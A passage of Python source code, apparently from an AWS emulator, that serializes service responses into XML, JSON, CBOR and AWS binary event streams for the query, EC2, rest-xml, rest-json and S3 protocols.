raise NotImplementedError
def _serialize_event_stream(
self,
response: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> Response:
"""
Serializes a given response dict (the return payload of a service implementation) to an _event stream_ using the
given operation model.
:param response: dictionary containing the payload for the response
:param operation_model: describing the operation the response dict is being returned by
:param mime_type: Mime type which should be used to encode the payload
:param request_id: autogenerated AWS request ID identifying the original request
:return: Response which can directly be sent to the client (in chunks)
"""
event_stream_shape = operation_model.get_event_stream_output()
event_stream_member_name = operation_model.output_shape.event_stream_name
# wrap the generator in operation specific serialization
def event_stream_serializer() -> Iterable[bytes]:
yield self._encode_event_payload("initial-response")
# create a default response
serialized_event_response = self._create_default_response(operation_model, mime_type)
# get the members of the event stream shape
event_stream_shape_members = (
event_stream_shape.members if event_stream_shape is not None else None
)
# extract the generator from the given response data
event_generator = response.get(event_stream_member_name)
if not isinstance(event_generator, Iterator):
raise ProtocolSerializerError(
"Expected iterator for streaming event serialization."
)
# yield one event per generated event
for event in event_generator:
# find the actual event payload (the member with event=true)
event_member_shape = None
event_member_name = None
for member_name, member_shape in event_stream_shape_members.items():
if member_shape.serialization.get("event") and member_name in event:
event_member_shape = member_shape
event_member_name = member_name
break
if event_member_shape is None:
raise UnknownSerializerError("Couldn't find event shape for serialization.")
# serialize the part of the response for the event
self._serialize_response(
event.get(event_member_name),
serialized_event_response,
event_member_shape,
event_member_shape.members if event_member_shape is not None else None,
operation_model,
mime_type,
request_id,
)
# execute additional response traits (might be modifying the response)
serialized_event_response = self._prepare_additional_traits_in_response(
serialized_event_response, operation_model, request_id
)
# encode the event and yield it
yield self._encode_event_payload(
event_type=event_member_name, content=serialized_event_response.data
)
return Response(
response=event_stream_serializer(),
status=operation_model.http.get("responseCode", 200),
)
def _encode_event_payload(
self,
event_type: str,
content: Union[str, bytes] = "",
error_code: Optional[str] = None,
error_message: Optional[str] = None,
) -> bytes:
"""
Encodes the given event payload according to AWS specific binary event encoding.
A specification of the format can be found in the AWS docs:
path_to_url
:param content: string or bytes of the event payload
:param event_type: type of the event. Usually the name of the event shape or specific event types like
"initial-response".
:param error_code: Optional. Error code if the payload represents an error.
:param error_message: Optional. Error message if the payload represents an error.
:return: bytes with the AWS-specific encoded event payload
"""
# determine the event type (error if an error message or an error code is set)
if error_message or error_code:
message_type = "error"
else:
message_type = "event"
# set the headers
headers = {":event-type": event_type, ":message-type": message_type}
if error_message:
headers[":error-message"] = error_message
if error_code:
headers[":error-code"] = error_code
# construct headers
header_section = b""
for key, value in headers.items():
header_name = key.encode(self.DEFAULT_ENCODING)
header_value = to_bytes(value)
header_section += pack("!B", len(header_name))
header_section += header_name
header_section += pack("!B", self.AWS_BINARY_DATA_TYPE_STRING)
header_section += pack("!H", len(header_value))
header_section += header_value
# construct body
if isinstance(content, str):
payload = bytes(content, self.DEFAULT_ENCODING)
else:
payload = content
# calculate lengths
headers_length = len(header_section)
payload_length = len(payload)
# construct message
# - prelude
result = pack("!I", payload_length + headers_length + 16)
result += pack("!I", headers_length)
# - prelude crc
prelude_crc = crc32(result)
result += pack("!I", prelude_crc)
# - headers
result += header_section
# - payload
result += payload
# - message crc
payload_crc = crc32(result)
result += pack("!I", payload_crc)
return result
def _create_default_response(self, operation_model: OperationModel, mime_type: str) -> Response:
"""
Creates a boilerplate default response to be used by subclasses as starting points.
Uses the default HTTP response status code defined in the operation model (if defined), otherwise 200.
:param operation_model: to extract the default HTTP status code
:param mime_type: Mime type which should be used to encode the payload
:return: boilerplate HTTP response
"""
return Response(status=operation_model.http.get("responseCode", 200))
def _get_mime_type(self, headers: Optional[Dict | Headers]) -> str:
"""
Extracts the accepted mime type from the request headers and returns a matching, supported mime type for the
serializer or the default mime type of the service if there is no match.
:param headers: to extract the "Accept" header from
:return: preferred mime type to be used by the serializer (if it is not accepted by the client,
an error is logged)
"""
accept_header = None
if headers and "Accept" in headers and not headers.get("Accept") == "*/*":
accept_header = headers.get("Accept")
elif headers and headers.get("Content-Type"):
# If there is no specific Accept header given, we use the given Content-Type as a fallback.
# i.e. if the request content was JSON encoded and the client doesn't send a specific an Accept header, the
# serializer should prefer JSON encoding.
content_type = headers.get("Content-Type")
LOG.debug(
"No accept header given. Using request's Content-Type (%s) as preferred response Content-Type.",
content_type,
)
accept_header = content_type + ", */*"
mime_accept: MIMEAccept = parse_accept_header(accept_header, MIMEAccept)
mime_type = mime_accept.best_match(self.SUPPORTED_MIME_TYPES)
if not mime_type:
# There is no match between the supported mime types and the requested one(s)
mime_type = self.SUPPORTED_MIME_TYPES[0]
LOG.debug(
"Determined accept type (%s) is not supported by this serializer. Using default of this serializer: %s",
accept_header,
mime_type,
)
return mime_type
# Some extra utility methods subclasses can use.
@staticmethod
def _timestamp_iso8601(value: datetime) -> str:
if value.microsecond > 0:
timestamp_format = ISO8601_MICRO
else:
timestamp_format = ISO8601
return value.strftime(timestamp_format)
@staticmethod
def _timestamp_unixtimestamp(value: datetime) -> float:
return value.timestamp()
def _timestamp_rfc822(self, value: datetime) -> str:
if isinstance(value, datetime):
value = self._timestamp_unixtimestamp(value)
return formatdate(value, usegmt=True)
def _convert_timestamp_to_str(
self, value: Union[int, str, datetime], timestamp_format=None
) -> str:
if timestamp_format is None:
timestamp_format = self.TIMESTAMP_FORMAT
timestamp_format = timestamp_format.lower()
datetime_obj = parse_to_aware_datetime(value)
converter = getattr(self, "_timestamp_%s" % timestamp_format)
final_value = converter(datetime_obj)
return final_value
@staticmethod
def _get_serialized_name(shape: Shape, default_name: str) -> str:
"""
Returns the serialized name for the shape if it exists.
Otherwise, it will return the passed in default_name.
"""
return shape.serialization.get("name", default_name)
def _get_base64(self, value: Union[str, bytes]):
"""
Returns the base64-encoded version of value, handling
both strings and bytes. The returned value is a string
via the default encoding.
"""
if isinstance(value, str):
value = value.encode(self.DEFAULT_ENCODING)
return base64.b64encode(value).strip().decode(self.DEFAULT_ENCODING)
def _encode_payload(self, body: Union[bytes, str]) -> bytes:
if isinstance(body, str):
return body.encode(self.DEFAULT_ENCODING)
return body
def _prepare_additional_traits_in_response(
self, response: Response, operation_model: OperationModel, request_id: str
):
"""Applies additional traits on the raw response for a given model or protocol."""
if operation_model.http_checksum_required:
self._add_md5_header(response)
return response
def _has_header(self, header_name: str, headers: dict):
"""Case-insensitive check for header key."""
if header_name is None:
return False
else:
return header_name.lower() in [key.lower() for key in headers.keys()]
def _add_md5_header(self, response: Response):
"""Add a Content-MD5 header if not yet there. Adapted from botocore.utils"""
headers = response.headers
body = response.data
if body is not None and "Content-MD5" not in headers:
md5_digest = calculate_md5(body)
headers["Content-MD5"] = md5_digest
def _get_error_message(self, error: Exception) -> Optional[str]:
return str(error) if error is not None and str(error) != "None" else None
class BaseXMLResponseSerializer(ResponseSerializer):
"""
The BaseXMLResponseSerializer performs the basic logic for the XML response serialization.
It is slightly adapted by the QueryResponseSerializer.
While the botocore's RestXMLSerializer is quite similar, there are some subtle differences (since botocore's
implementation handles the serialization of the requests from the client to the service, not the responses from the
service to the client).
"""
SUPPORTED_MIME_TYPES = [TEXT_XML, APPLICATION_XML, APPLICATION_JSON]
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
# Check if we need to add a namespace
attr = (
{"xmlns": operation_model.metadata.get("xmlNamespace")}
if "xmlNamespace" in operation_model.metadata
else {}
)
root = ETree.Element("ErrorResponse", attr)
error_tag = ETree.SubElement(root, "Error")
self._add_error_tags(error, error_tag, mime_type)
request_id_element = ETree.SubElement(root, "RequestId")
request_id_element.text = request_id
self._add_additional_error_tags(vars(error), root, shape, mime_type)
response.set_response(self._encode_payload(self._node_to_string(root, mime_type)))
def _add_error_tags(
self, error: ServiceException, error_tag: ETree.Element, mime_type: str
) -> None:
code_tag = ETree.SubElement(error_tag, "Code")
code_tag.text = error.code
message = self._get_error_message(error)
if message:
self._default_serialize(error_tag, message, None, "Message", mime_type)
if error.sender_fault:
# The sender fault is either not set or "Sender"
self._default_serialize(error_tag, "Sender", None, "Type", mime_type)
def _add_additional_error_tags(
self, parameters: dict, node: ETree, shape: StructureShape, mime_type: str
):
if shape:
params = {}
# TODO add a possibility to serialize simple non-modelled errors (like S3 NoSuchBucket#BucketName)
for member in shape.members:
# XML protocols do not add modeled default fields to the root node
# (tested for cloudfront, route53, cloudwatch, iam)
if member.lower() not in ["code", "message"] and member in parameters:
params[member] = parameters[member]
# If there is an error shape with members which should be set, they need to be added to the node
if params:
# Serialize the remaining params
root_name = shape.serialization.get("name", shape.name)
pseudo_root = ETree.Element("")
self._serialize(shape, params, pseudo_root, root_name, mime_type)
real_root = list(pseudo_root)[0]
# Add the child elements to the already created root error element
for child in list(real_root):
node.append(child)
def _serialize_body_params(
self,
params: dict,
shape: Shape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> Optional[str]:
root = self._serialize_body_params_to_xml(params, shape, operation_model, mime_type)
self._prepare_additional_traits_in_xml(root, request_id)
return self._node_to_string(root, mime_type)
def _serialize_body_params_to_xml(
self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str
) -> Optional[ETree.Element]:
if shape is None:
return
# The botocore serializer expects `shape.serialization["name"]`, but this isn't always present for responses
root_name = shape.serialization.get("name", shape.name)
pseudo_root = ETree.Element("")
self._serialize(shape, params, pseudo_root, root_name, mime_type)
real_root = list(pseudo_root)[0]
return real_root
def _serialize(
self, shape: Shape, params: Any, xmlnode: ETree.Element, name: str, mime_type: str
) -> None:
"""This method dynamically invokes the correct `_serialize_type_*` method for each shape type."""
if shape is None:
return
# Some output shapes define a `resultWrapper` in their serialization spec.
# While the name would imply that the result is _wrapped_, it is actually renamed.
if shape.serialization.get("resultWrapper"):
name = shape.serialization.get("resultWrapper")
try:
method = getattr(self, "_serialize_type_%s" % shape.type_name, self._default_serialize)
method(xmlnode, params, shape, name, mime_type)
except (TypeError, ValueError, AttributeError) as e:
raise ProtocolSerializerError(
f"Invalid type when serializing {shape.name}: '{xmlnode}' cannot be parsed to {shape.type_name}."
) from e
def _serialize_type_structure(
self, xmlnode: ETree.Element, params: dict, shape: StructureShape, name: str, mime_type
) -> None:
structure_node = ETree.SubElement(xmlnode, name)
if "xmlNamespace" in shape.serialization:
namespace_metadata = shape.serialization["xmlNamespace"]
attribute_name = "xmlns"
if namespace_metadata.get("prefix"):
attribute_name += ":%s" % namespace_metadata["prefix"]
structure_node.attrib[attribute_name] = namespace_metadata["uri"]
for key, value in params.items():
if value is None:
# Don't serialize any param whose value is None.
continue
try:
member_shape = shape.members[key]
except KeyError:
LOG.warning(
"Response object %s contains a member which is not specified: %s",
shape.name,
key,
)
continue
member_name = member_shape.serialization.get("name", key)
# We need to special case member shapes that are marked as an xmlAttribute.
# Rather than serializing into an XML child node, we instead serialize the shape to
# an XML attribute of the *current* node.
if member_shape.serialization.get("xmlAttribute"):
# xmlAttributes must have a serialization name.
xml_attribute_name = member_shape.serialization["name"]
structure_node.attrib[xml_attribute_name] = value
continue
self._serialize(member_shape, value, structure_node, member_name, mime_type)
def _serialize_type_list(
self, xmlnode: ETree.Element, params: list, shape: ListShape, name: str, mime_type: str
) -> None:
if params is None:
# Don't serialize any param whose value is None.
return
member_shape = shape.member
if shape.serialization.get("flattened"):
# If the list is flattened, either take the member's "name" or the name of the usual name for the parent
# element for the children.
element_name = self._get_serialized_name(member_shape, name)
list_node = xmlnode
else:
element_name = self._get_serialized_name(member_shape, "member")
list_node = ETree.SubElement(xmlnode, name)
for item in params:
# Don't serialize any item which is None
if item is not None:
self._serialize(member_shape, item, list_node, element_name, mime_type)
def _serialize_type_map(
self, xmlnode: ETree.Element, params: dict, shape: MapShape, name: str, mime_type: str
) -> None:
"""
Given the ``name`` of MyMap, an input of {"key1": "val1", "key2": "val2"}, and the ``flattened: False``
we serialize this as:
<MyMap>
<entry>
<key>key1</key>
<value>val1</value>
</entry>
<entry>
<key>key2</key>
<value>val2</value>
</entry>
</MyMap>
If it is flattened, it is serialized as follows:
<MyMap>
<key>key1</key>
<value>val1</value>
</MyMap>
<MyMap>
<key>key2</key>
<value>val2</value>
</MyMap>
"""
if params is None:
# Don't serialize a non-existing map
return
if shape.serialization.get("flattened"):
entries_node = xmlnode
entry_node_name = name
else:
entries_node = ETree.SubElement(xmlnode, name)
entry_node_name = "entry"
for key, value in params.items():
if value is None:
# Don't serialize any param whose value is None.
continue
entry_node = ETree.SubElement(entries_node, entry_node_name)
key_name = self._get_serialized_name(shape.key, default_name="key")
val_name = self._get_serialized_name(shape.value, default_name="value")
self._serialize(shape.key, key, entry_node, key_name, mime_type)
self._serialize(shape.value, value, entry_node, val_name, mime_type)
@staticmethod
def _serialize_type_boolean(xmlnode: ETree.Element, params: bool, _, name: str, __) -> None:
"""
For scalar types, the 'params' attr is actually just a scalar value representing the data
we need to serialize as a boolean. It will either be 'true' or 'false'
"""
node = ETree.SubElement(xmlnode, name)
if params:
str_value = "true"
else:
str_value = "false"
node.text = str_value
def _serialize_type_blob(
self, xmlnode: ETree.Element, params: Union[str, bytes], _, name: str, __
) -> None:
node = ETree.SubElement(xmlnode, name)
node.text = self._get_base64(params)
def _serialize_type_timestamp(
self, xmlnode: ETree.Element, params: str, shape: Shape, name: str, mime_type: str
) -> None:
node = ETree.SubElement(xmlnode, name)
if mime_type != APPLICATION_JSON:
# Default XML timestamp serialization
node.text = self._convert_timestamp_to_str(
params, shape.serialization.get("timestampFormat")
)
else:
# For services with XML protocols, where the Accept header is JSON, timestamps are formatted like for JSON
# protocols, but using the int representation instead of the float representation (f.e. requesting JSON
# responses in STS).
node.text = str(
int(self._convert_timestamp_to_str(params, JSONResponseSerializer.TIMESTAMP_FORMAT))
)
def _default_serialize(self, xmlnode: ETree.Element, params: str, _, name: str, __) -> None:
node = ETree.SubElement(xmlnode, name)
node.text = str(params)
def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str):
"""
Prepares the XML root node before being serialized with additional traits (like the Response ID in the Query
protocol).
For some protocols (like rest-xml), the root can be None.
"""
pass
def _create_default_response(self, operation_model: OperationModel, mime_type: str) -> Response:
response = super()._create_default_response(operation_model, mime_type)
response.headers["Content-Type"] = mime_type
return response
def _node_to_string(self, root: Optional[ETree.Element], mime_type: str) -> Optional[str]:
"""Generates the string representation of the given XML element."""
if root is not None:
content = ETree.tostring(
element=root, encoding=self.DEFAULT_ENCODING, xml_declaration=True
)
if mime_type == APPLICATION_JSON:
# FIXME try to directly convert the ElementTree node to JSON
xml_dict = xmltodict.parse(content)
xml_dict = strip_xmlns(xml_dict)
content = json.dumps(xml_dict)
return content
class BaseRestResponseSerializer(ResponseSerializer, ABC):
"""
The BaseRestResponseSerializer performs the basic logic for the ReST response serialization.
In our case it basically only adds the request metadata to the HTTP header.
"""
HEADER_TIMESTAMP_FORMAT = "rfc822"
def _serialize_response(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
header_params, payload_params = self._partition_members(parameters, shape)
self._process_header_members(header_params, response, shape)
# "HEAD" responses are basically "GET" responses without the actual body.
# Do not process the body payload in this case (setting a body could also manipulate the headers)
if operation_model.http.get("method") != "HEAD":
self._serialize_payload(
payload_params,
response,
shape,
shape_members,
operation_model,
mime_type,
request_id,
)
self._serialize_content_type(response, shape, shape_members, mime_type)
self._prepare_additional_traits_in_response(response, operation_model, request_id)
def _serialize_payload(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
"""
Serializes the given payload.
:param parameters: The user input params
:param response: The final serialized Response
:param shape: Describes the expected output shape (can be None in case of an "empty" response)
:param shape_members: The members of the output struct shape
:param operation_model: The specification of the operation of which the response is serialized here
:param mime_type: Mime type which should be used to encode the payload
:param request_id: autogenerated AWS request ID identifying the original request
:return: None - the given `serialized` dict is modified
"""
if shape is None:
return
payload_member = shape.serialization.get("payload")
# If this shape is defined as being an event, we need to search for the payload member
if not payload_member and shape.serialization.get("event"):
for member_name, member_shape in shape_members.items():
# Try to find the first shape which is marked as "eventpayload" and is given in the params dict
if member_shape.serialization.get("eventpayload") and parameters.get(member_name):
payload_member = member_name
break
if payload_member is not None and shape_members[payload_member].type_name in [
"blob",
"string",
]:
# If it's streaming, then the body is just the value of the payload.
body_payload = parameters.get(payload_member, b"")
body_payload = self._encode_payload(body_payload)
response.set_response(body_payload)
elif payload_member is not None:
# If there's a payload member, we serialized that member to the body.
body_params = parameters.get(payload_member)
if body_params is not None:
response.set_response(
self._encode_payload(
self._serialize_body_params(
body_params,
shape_members[payload_member],
operation_model,
mime_type,
request_id,
)
)
)
else:
# Otherwise, we use the "traditional" way of serializing the whole parameters dict recursively.
response.set_response(
self._encode_payload(
self._serialize_body_params(
parameters, shape, operation_model, mime_type, request_id
)
)
)
def _serialize_content_type(
self, serialized: Response, shape: Shape, shape_members: dict, mime_type: str
):
"""
Some protocols require varied Content-Type headers depending on user input.
This allows subclasses to apply this conditionally.
"""
pass
def _has_streaming_payload(self, payload: Optional[str], shape_members):
"""Determine if payload is streaming (a blob or string)."""
return payload is not None and shape_members[payload].type_name in ["blob", "string"]
def _prepare_additional_traits_in_response(
self, response: Response, operation_model: OperationModel, request_id: str
):
"""Adds the request ID to the headers (in contrast to the body - as in the Query protocol)."""
response = super()._prepare_additional_traits_in_response(
response, operation_model, request_id
)
response.headers["x-amz-request-id"] = request_id
return response
def _process_header_members(self, parameters: dict, response: Response, shape: Shape):
shape_members = shape.members if isinstance(shape, StructureShape) else []
for name in shape_members:
member_shape = shape_members[name]
location = member_shape.serialization.get("location")
if not location:
continue
if name not in parameters:
# ignores optional keys
continue
key = member_shape.serialization.get("name", name)
value = parameters[name]
if value is None:
continue
if location == "header":
response.headers[key] = self._serialize_header_value(member_shape, value)
elif location == "headers":
header_prefix = key
self._serialize_header_map(header_prefix, response, value)
elif location == "statusCode":
response.status_code = int(value)
def _serialize_header_map(self, prefix: str, response: Response, params: dict) -> None:
"""Serializes the header map for the location trait "headers"."""
for key, val in params.items():
actual_key = prefix + key
response.headers[actual_key] = val
def _serialize_header_value(self, shape: Shape, value: Any):
"""Serializes a value for the location trait "header"."""
if shape.type_name == "timestamp":
datetime_obj = parse_to_aware_datetime(value)
timestamp_format = shape.serialization.get(
"timestampFormat", self.HEADER_TIMESTAMP_FORMAT
)
return self._convert_timestamp_to_str(datetime_obj, timestamp_format)
elif shape.type_name == "list":
converted_value = [
self._serialize_header_value(shape.member, v) for v in value if v is not None
]
return ",".join(converted_value)
elif shape.type_name == "boolean":
# Set the header value to "true" if the given value is truthy, otherwise set the header value to "false".
return "true" if value else "false"
elif is_json_value_header(shape):
# Serialize with no spaces after separators to save space in
# the header.
return self._get_base64(json.dumps(value, separators=(",", ":")))
else:
return value
def _partition_members(self, parameters: dict, shape: Optional[Shape]) -> Tuple[dict, dict]:
"""Separates the top-level keys in the given parameters dict into header- and payload-located params."""
if not isinstance(shape, StructureShape):
# If the shape isn't a structure, we default to the whole response being parsed in the body.
# Non-payload members are only loaded in the top-level hierarchy and those are always structures.
return {}, parameters
header_params = {}
payload_params = {}
shape_members = shape.members
for name in shape_members:
member_shape = shape_members[name]
if name not in parameters:
continue
location = member_shape.serialization.get("location")
if location:
header_params[name] = parameters[name]
else:
payload_params[name] = parameters[name]
return header_params, payload_params
class RestXMLResponseSerializer(BaseRestResponseSerializer, BaseXMLResponseSerializer):
"""
The ``RestXMLResponseSerializer`` is responsible for the serialization of responses from services with the
``rest-xml`` protocol.
It combines the ``BaseRestResponseSerializer`` (for the ReST specific logic) with the ``BaseXMLResponseSerializer``
(for the XML body response serialization).
"""
pass
class QueryResponseSerializer(BaseXMLResponseSerializer):
"""
The ``QueryResponseSerializer`` is responsible for the serialization of responses from services which use the
``query`` protocol. The responses of these services also use XML. It is basically a subset of the features, since it
does not allow any payload or location traits.
"""
def _serialize_response(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
"""
Serializes the given parameters as XML for the query protocol.
:param parameters: The user input params
:param response: The final serialized Response
:param shape: Describes the expected output shape (can be None in case of an "empty" response)
:param shape_members: The members of the output struct shape
:param operation_model: The specification of the operation of which the response is serialized here
:param mime_type: Mime type which should be used to encode the payload
:param request_id: autogenerated AWS request ID identifying the original request
:return: None - the given `serialized` dict is modified
"""
response.set_response(
self._encode_payload(
self._serialize_body_params(
parameters, shape, operation_model, mime_type, request_id
)
)
)
def _serialize_body_params_to_xml(
self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str
) -> ETree.Element:
# The Query protocol responses have a root element which is not contained in the specification file.
# Therefore, we first call the super function to perform the normal XML serialization, and afterwards wrap the
# result in a root element based on the operation name.
node = super()._serialize_body_params_to_xml(params, shape, operation_model, mime_type)
# Check if we need to add a namespace
attr = (
{"xmlns": operation_model.metadata.get("xmlNamespace")}
if "xmlNamespace" in operation_model.metadata
else None
)
# Create the root element and add the result of the XML serializer as a child node
root = ETree.Element(f"{operation_model.name}Response", attr)
if node is not None:
root.append(node)
return root
def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str):
# Add the response metadata here (it's not defined in the specs)
# For the ec2 and the query protocol, the root cannot be None at this time.
response_metadata = ETree.SubElement(root, "ResponseMetadata")
request_id_element = ETree.SubElement(response_metadata, "RequestId")
request_id_element.text = request_id
class EC2ResponseSerializer(QueryResponseSerializer):
"""
The ``EC2ResponseSerializer`` is responsible for the serialization of responses from services which use the
``ec2`` protocol (basically the EC2 service). This protocol is basically equal to the ``query`` protocol with only
a few subtle differences.
"""
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
# EC2 errors look like:
# <Response>
# <Errors>
# <Error>
# <Code>InvalidInstanceID.Malformed</Code>
# <Message>Invalid id: "1343124"</Message>
# </Error>
# </Errors>
# <RequestID>12345</RequestID>
# </Response>
# This is different from QueryParser in that it's RequestID, not RequestId
# and that the Error tag is in an enclosing Errors tag.
attr = (
{"xmlns": operation_model.metadata.get("xmlNamespace")}
if "xmlNamespace" in operation_model.metadata
else None
)
root = ETree.Element("Response", attr)
errors_tag = ETree.SubElement(root, "Errors")
error_tag = ETree.SubElement(errors_tag, "Error")
self._add_error_tags(error, error_tag, mime_type)
request_id_element = ETree.SubElement(root, "RequestID")
request_id_element.text = request_id
response.set_response(self._encode_payload(self._node_to_string(root, mime_type)))
def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str):
# The EC2 protocol does not use the root output shape, therefore we need to remove the hierarchy level
# below the root level
if len(root) > 0:
output_node = root[0]
for child in output_node:
root.append(child)
root.remove(output_node)
# Add the requestId here (it's not defined in the specs)
# For the ec2 and the query protocol, the root cannot be None at this time.
request_id_element = ETree.SubElement(root, "requestId")
request_id_element.text = request_id
class JSONResponseSerializer(ResponseSerializer):
"""
The ``JSONResponseSerializer`` is responsible for the serialization of responses from services with the ``json``
protocol. It implements the JSON response body serialization, which is also used by the
``RestJSONResponseSerializer``.
"""
JSON_TYPES = [APPLICATION_JSON, APPLICATION_AMZ_JSON_1_0, APPLICATION_AMZ_JSON_1_1]
CBOR_TYPES = [APPLICATION_CBOR, APPLICATION_AMZ_CBOR_1_1]
SUPPORTED_MIME_TYPES = JSON_TYPES + CBOR_TYPES
TIMESTAMP_FORMAT = "unixtimestamp"
def _serialize_error(
self,
error: ServiceException,
response: Response,
shape: StructureShape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
body = dict()
# TODO implement different service-specific serializer configurations
# - currently we set both, the `__type` member as well as the `X-Amzn-Errortype` header
# - the specification defines that it's either the __type field OR the header
response.headers["X-Amzn-Errortype"] = error.code
body["__type"] = error.code
if shape:
remaining_params = {}
# TODO add a possibility to serialize simple non-modelled errors (like S3 NoSuchBucket#BucketName)
for member in shape.members:
if hasattr(error, member):
remaining_params[member] = getattr(error, member)
# Default error message fields can sometimes have different casing in the specs
elif member.lower() in ["code", "message"] and hasattr(error, member.lower()):
remaining_params[member] = getattr(error, member.lower())
self._serialize(body, remaining_params, shape, None, mime_type)
# Only set the message if it has not been set with the shape members
if "message" not in body and "Message" not in body:
message = self._get_error_message(error)
if message is not None:
body["message"] = message
if mime_type in self.CBOR_TYPES:
response.set_response(cbor2_dumps(body, datetime_as_timestamp=True))
response.content_type = mime_type
else:
response.set_json(body)
def _serialize_response(
self,
parameters: dict,
response: Response,
shape: Optional[Shape],
shape_members: dict,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> None:
if mime_type in self.CBOR_TYPES:
response.content_type = mime_type
else:
json_version = operation_model.metadata.get("jsonVersion")
if json_version is not None:
response.headers["Content-Type"] = "application/x-amz-json-%s" % json_version
response.set_response(
self._serialize_body_params(parameters, shape, operation_model, mime_type, request_id)
)
def _serialize_body_params(
self,
params: dict,
shape: Shape,
operation_model: OperationModel,
mime_type: str,
request_id: str,
) -> Optional[str]:
body = {}
if shape is not None:
self._serialize(body, params, shape, None, mime_type)
if mime_type in self.CBOR_TYPES:
return cbor2_dumps(body, datetime_as_timestamp=True)
else:
return json.dumps(body)
def _serialize(self, body: dict, value: Any, shape, key: Optional[str], mime_type: str):
"""This method dynamically invokes the correct `_serialize_type_*` method for each shape type."""
try:
method = getattr(self, "_serialize_type_%s" % shape.type_name, self._default_serialize)
method(body, value, shape, key, mime_type)
except (TypeError, ValueError, AttributeError) as e:
raise ProtocolSerializerError(
f"Invalid type when serializing {shape.name}: '{value}' cannot be parsed to {shape.type_name}."
) from e
def _serialize_type_structure(
self, body: dict, value: dict, shape: StructureShape, key: Optional[str], mime_type: str
):
if value is None:
return
if shape.is_document_type:
body[key] = value
else:
if key is not None:
# If a key is provided, this is a result of a recursive
# call, so we need to add a new child dict as the value
# of the passed in serialized dict. We'll then add
# all the structure members as key/vals in the new serialized
# dictionary we just created.
new_serialized = {}
body[key] = new_serialized
body = new_serialized
members = shape.members
for member_key, member_value in value.items():
if member_value is None:
continue
try:
member_shape = members[member_key]
except KeyError:
LOG.warning(
"Response object %s contains a member which is not specified: %s",
shape.name,
member_key,
)
continue
if "name" in member_shape.serialization:
member_key = member_shape.serialization["name"]
self._serialize(body, member_value, member_shape, member_key, mime_type)
def _serialize_type_map(
self, body: dict, value: dict, shape: MapShape, key: str, mime_type: str
):
if value is None:
return
map_obj = {}
body[key] = map_obj
for sub_key, sub_value in value.items():
if sub_value is not None:
self._serialize(map_obj, sub_value, shape.value, sub_key, mime_type)
def _serialize_type_list(
self, body: dict, value: list, shape: ListShape, key: str, mime_type: str
):
if value is None:
return
list_obj = []
body[key] = list_obj
for list_item in value:
if list_item is not None:
wrapper = {}
# The JSON list serialization is the only case where we aren't
# setting a key on a dict. We handle this by using
# a __current__ key on a wrapper dict to serialize each
# list item before appending it to the serialized list.
self._serialize(wrapper, list_item, shape.member, "__current__", mime_type)
list_obj.append(wrapper["__current__"])
def _default_serialize(self, body: dict, value: Any, _, key: str, __):
body[key] = value
def _serialize_type_timestamp(
self, body: dict, value: Any, shape: Shape, key: str, mime_type: str
):
if mime_type in self.CBOR_TYPES:
# CBOR has native support for timestamps
body[key] = value
else:
timestamp_format = shape.serialization.get("timestampFormat")
body[key] = self._convert_timestamp_to_str(value, timestamp_format)
def _serialize_type_blob(
self, body: dict, value: Union[str, bytes], _, key: str, mime_type: str
):
if mime_type in self.CBOR_TYPES:
body[key] = value
else:
body[key] = self._get_base64(value)
def _prepare_additional_traits_in_response(
self, response: Response, operation_model: OperationModel, request_id: str
):
response.headers["x-amzn-requestid"] = request_id
response = super()._prepare_additional_traits_in_response(
response, operation_model, request_id
)
return response
class RestJSONResponseSerializer(BaseRestResponseSerializer, JSONResponseSerializer):
"""
The ``RestJSONResponseSerializer`` is responsible for the serialization of responses from services with the
``rest-json`` protocol.
It combines the ``BaseRestResponseSerializer`` (for the ReST specific logic) with the ``JSONResponseSerializer``
(for the JSOn body response serialization).
"""
def _serialize_content_type(
self, serialized: Response, shape: Shape, shape_members: dict, mime_type: str
):
"""Set Content-Type to application/json for all structured bodies."""
payload = shape.serialization.get("payload") if shape is not None else None
if self._has_streaming_payload(payload, shape_members):
# Don't apply content-type to streaming bodies
return
has_body = serialized.data != b""
has_content_type = self._has_header("Content-Type", serialized.headers)
if has_body and not has_content_type:
serialized.headers["Content-Type"] = mime_type
class S3ResponseSerializer(RestXMLResponseSerializer):
"""
The ``S3ResponseSerializer`` adds some minor logic to handle S3 specific peculiarities with the error response
serialization and the root node tag.
"""
SUPPORTED_MIME_TYPES = [APPLICATION_XML, TEXT_XML]
_RESPONSE_ROOT_TAGS = {
"CompleteMultipartUploadOutput": "CompleteMultipartUploadResult",
"CopyObjectOutput": "CopyObjectResult",
"CreateMultipartUploadOutput": "InitiateMultipartUploadResult",
"DeleteObjectsOutput": "DeleteResult",
"GetBucketAccelerateConfigurationOutput": "AccelerateConfiguration",
"GetBucketAclOutput": "AccessControlPolicy",
"GetBucketAnalyticsConfigurationOutput": "AnalyticsConfiguration",
"GetBucketCorsOutput": "CORSConfiguration",
"GetBucketEncryptionOutput": "ServerSideEncryptionConfiguration",
"GetBucketIntelligentTieringConfigurationOutput": "IntelligentTieringConfiguration",
"GetBucketInventoryConfigurationOutput": "InventoryConfiguration",
"GetBucketLifecycleOutput": "LifecycleConfiguration",
"GetBucketLifecycleConfigurationOutput": "LifecycleConfiguration",
"GetBucketLoggingOutput": "BucketLoggingStatus",
"GetBucketMetricsConfigurationOutput": "MetricsConfiguration",
"NotificationConfigurationDeprecated": "NotificationConfiguration",
